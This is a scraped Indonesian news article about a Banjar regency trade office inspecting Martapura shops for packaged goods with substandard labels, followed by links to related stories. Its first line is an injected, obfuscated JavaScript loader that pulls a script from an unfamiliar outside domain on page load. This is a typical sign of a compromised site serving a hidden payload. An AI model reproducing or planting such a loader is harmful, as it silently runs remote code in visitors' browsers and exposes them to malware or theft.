(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Dinas Koperasi Usaha Mikro Perindustrian dan Perdagangan (DKUMPP) Kabupaten Banjar lakukan pengawasan Barang Dalam Keadaan Terbungkus (BDKT) di beberapa toko yang berada di Kecamatan Martapura dan Martapura Timur, Jumat (6/12/2024) pagi.
Kegiatan itu dilakukan DKUMPP Banjar guna menjaga kuantitas barang dan perlindungan kepada konsumen.
Kabid Kemetrologian dan Bina Usaha DKUMPP Ahmad Baihaqi, mengatakan, dari pengawasan tersebut menemukan beberapa produk yang belum sesuai standar pelabelannya, yaitu produk minyak goreng yang penulisannya sangat kecil sehingga membuat konsumen sulit mengetahui isi dari minyak goreng tersebut.
“Seharusnya dituliskan juga dilabel berapa jumlah liter minyaknya,” jelas dia.
Baihaqi menambahkan ada juga produk sirup yang penulisannya kurang standar jenis ukuran huruf tidak sesuai dengan kaidah peraturan perdagangan.
Dia berharap dengan pengawasan ini para pedagang dapat mengetahui dan memberitahukan kepada distributor, bahwa pelabelan masa expired dan sebagainya harus disesuaikan dengan peraturan Kemendag.
“Wewenang kami hanya menyurvey, memeriksa, mendata dan memberitahukan kepada pedagang agar nantinya disampaikan ke distributornya bahwa ada peraturan Menteri Perdagangan yang harus disesuaikan. Untuk penyitaan dan lainnya itu ada wewenang pihak lain,” terang dia.
Sementara Fika pemilik salah satu toko di Desa Sungai Sipai sampaikan terima kasihnya kepada DKUMPP Banjar dan mendukung kegiatan yang bertujuan menjaga perlindungan konsumen.
Terkait ditemukan produk tidak standar dalam pelabelannya, dia tidak mengetahui standar label yang sesuai dengan Kemendag,
“Kami sangat terbantu dalam pengawasan ini, kadang kami tidak mengetahui ternyata barang-barang tersebut tidak ada izin dan standarnya,” ucap dia.
Adanya pengawasan tersebut lanjut Fika membuat pihaknya jadi mengetahui peraturan apa saja yang boleh dan tidak boleh diperjualbelikan.
Ke depan dia lebih ketat lagi dalam menerima suatu produk, dan akan menyampaikan kepada distributor tentang peraturan dari Kemendag tersebut. (kanalkalimantan.com/dkispbanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More
KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More
KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More
This website uses cookies.